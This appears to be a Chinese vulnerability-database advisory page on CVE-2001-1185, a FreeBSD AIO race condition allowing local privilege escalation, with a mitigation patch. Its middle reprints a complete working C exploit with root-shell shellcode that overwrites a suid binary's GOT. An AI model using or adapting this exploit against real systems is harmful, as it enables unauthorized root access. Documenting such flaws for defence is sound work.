CVE-2001-1185
CVSS6.2
发布时间 :2001-12-10 00:00:00
修订时间 :2008-09-05 16:25:54
NMCOE    

[原文]Some AIO operations in FreeBSD 4.4 may be delayed until after a call to execve, which could allow a local user to overwrite memory of the new process and gain privileges.


[CNNVD]FreeBSD "AIO"库交叉进程重写内存漏洞(CNNVD-200112-088)

        
        aio.h是POSIX标准的异步I/O的实现,如果要使FreeBSD支持AIO的话,只需要在编译内核时打开"VFS_AIO"选项,缺省情况下该选项是关闭的。
        aio.h头文件存在一个竞争条件安全漏洞,允许本地攻击者提升权限。
        在某种条件下,对一个输入的套接口未决的读操作可能导致最终调用"execve",最后读操作继续,并且对新的进程的内存空间进行写操作。本地用户如果能够创建并运行一个调用SUID程序的恶意程序,就可能用任意数据重写SUID程序的任意内存位置,这就可能导致提升权限。
        

- CVSS (基础分值)

CVSS分值: 6.2 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1185
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1185
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200112-088
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/3661
(VENDOR_ADVISORY)  BID  3661
http://www.securityfocus.com/archive/1/244583
(VENDOR_ADVISORY)  BUGTRAQ  20011210 AIO vulnerability
http://www.iss.net/security_center/static/7693.php
(VENDOR_ADVISORY)  XF  bsd-aio-overwrite-memory(7693)
http://www.osvdb.org/2001
(UNKNOWN)  OSVDB  2001

- 漏洞信息

FreeBSD "AIO"库交叉进程重写内存漏洞
中危 未知
2001-12-10 00:00:00 2005-05-02 00:00:00
本地  
        
        aio.h是POSIX标准的异步I/O的实现,如果要使FreeBSD支持AIO的话,只需要在编译内核时打开"VFS_AIO"选项,缺省情况下该选项是关闭的。
        aio.h头文件存在一个竞争条件安全漏洞,允许本地攻击者提升权限。
        在某种条件下,对一个输入的套接口未决的读操作可能导致最终调用"execve",最后读操作继续,并且对新的进程的内存空间进行写操作。本地用户如果能够创建并运行一个调用SUID程序的恶意程序,就可能用任意数据重写SUID程序的任意内存位置,这就可能导致提升权限。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 如果你在编译内核时打开了"VFS_AIO"选项,可以关闭该选项并重新编译内核。
        * 使用David Rufino (dr@soniq.net)提供的限制root用户使用AIO的补丁,可以从
        http://elysium.soniq.net/dr/tao/patch-01下载。补丁如下:

        --- sys/kern/vfs_aio_old.c Sun Dec 9 22:40:43 2001
        +++ sys/kern/vfs_aio.c Sun Dec 9 22:42:11 2001
        @@ -1460,6 +1460,9 @@
         {
         struct kaioinfo *ki;
        
        + if (suser (p))
        + return EPERM;
        +
         if (p->p_aioinfo == NULL)
         aio_init_aioinfo(p);
        厂商补丁:
        FreeBSD
        -------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.freebsd.org

- 漏洞信息 (21176)

FreeBSD 4.4 AIO Library Cross Process Memory Write Vulnerability (EDBID:21176)
freebsd local
2001-12-10 Verified
0 David Rufino
N/A [点击下载]
source: http://www.securityfocus.com/bid/3661/info

aio.h is a library implementing the POSIX standard for asynchronous I/O. Support for AIO may be enabled in FreeBSD by compiling the kernel with the VFS_AIO option. This option is not enabled in the default kernel configuration.

Under some circumstances, pending reads from an input socket may persist through a call to execve. Eventually the read will continue, and write to the memory space of the new process.

If a local user is able to create and execute a malicious program calling a suid program, it may be possible to overwrite arbitrary memory locations in the suid process with arbitrary data. This could immediately lead to escalated privileges. 

/* tao - FreeBSD Local AIO Exploit
 * 
 * http://elysium.soniq.net/dr/tao/tao.html
 *
 * 4.4-STABLE is vulnerable up to at least 28th October.
 *
 * (C) David Rufino <dr@soniq.net> 2001
 * All Rights Reserved.
 *
 ***************************************************************************
 * bug found 13/07/01
 *
 * Any scheduled AIO read/writes will generally persist through an execve.
 *
 * "options VFS_AIO" must be in your kernel config, which is not enabled
 * by default.
 *
 * It may be interesting to note that the FreeBSD team have known about this
 * bug for a long time. Just take a look at 'LINT'.
 *
 * get the GOT address of exit, from any suid bin, by doing:
 * $ objdump --dynamic-reloc bin | grep exit
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <aio.h>

char code[]=
	"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
	"\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
	"\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

unsigned long GOT = 0x0804fe20;
char *execbin = "/usr/bin/passwd";

int
main (argc, argv)
	int			argc;
	char			**argv;
{
	int			fds[2], sdf[2];
	struct aiocb		cb, cb2;
	char			buf[128], d;

	if ((d = getopt (argc, argv, "g:e:")) != -1) {
		switch (d) {
		case 'g':
			GOT = strtoul (optarg, NULL, 16);
			break;
		case 'e':
			execbin = optarg;
			break;
		}
	}

	printf ("got address: %08lx\n", GOT);
	printf ("executable: %s\n", execbin);
	/*
	 * pipes are treated differently to sockets, with sockets the
	 * aiod gets notifyed, whereas with pipes the aiod starts
	 * immediately blocking in fo_read. This is a problem because
	 * after the execve the aiod is still using the old vmspace struct
	 * if you use pipes, which means the data doesnt actually get copied
	 */
	if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) {
		perror ("socketpair");
		return (EXIT_FAILURE);
	}

	if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) {
		perror ("socketpair");
		return (EXIT_FAILURE);
	}

	if (fork() != 0) {
		close (fds[0]);
		close (sdf[0]);
		memset (&cb, 0, sizeof(cb));
		memset (&cb2, 0, sizeof(cb2));
		cb.aio_fildes = fds[1];
		cb.aio_offset = 0;
		cb.aio_buf = (void *)GOT;
		cb.aio_nbytes = 4;
		cb.aio_sigevent.sigev_notify = SIGEV_NONE;

		cb2.aio_fildes = sdf[1];
		cb2.aio_offset = 0;
		cb2.aio_buf = (void *)0xbfbfff80;
		cb2.aio_nbytes = sizeof(code);
		cb2.aio_sigevent.sigev_notify = SIGEV_NONE;
		if (aio_read (&cb2) < 0) {
			perror ("aio_read");
			return (EXIT_FAILURE);
		}
		if (aio_read (&cb) < 0) {
			perror ("aio_read");
			return (EXIT_FAILURE);
		}
		execl (execbin, "test", NULL);
	} else {
		close(fds[1]);
		close(sdf[1]);
		sleep(2);
		printf ("writing\n");
		write (sdf[0], code, sizeof(code));
		*(unsigned int *)buf = 0xbfbfff80;
		write (fds[0], buf, 4);
	}
	return (EXIT_SUCCESS);
}

/*
 * vim: ts=8
 */ 
		

- 漏洞信息

2001
FreeBSD AIO Library Cross Process Memory Write
Local Access Required Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Third-party Verified

- 漏洞描述

FreeBSD contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a malicious user creates and executes a malicious program that calls a suid program, overwriting arbitrary memory locations in the suid process with arbitrary data. This flaw may lead to a loss of integrity.

- 时间线

2001-12-10 Unknow
2001-12-10 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站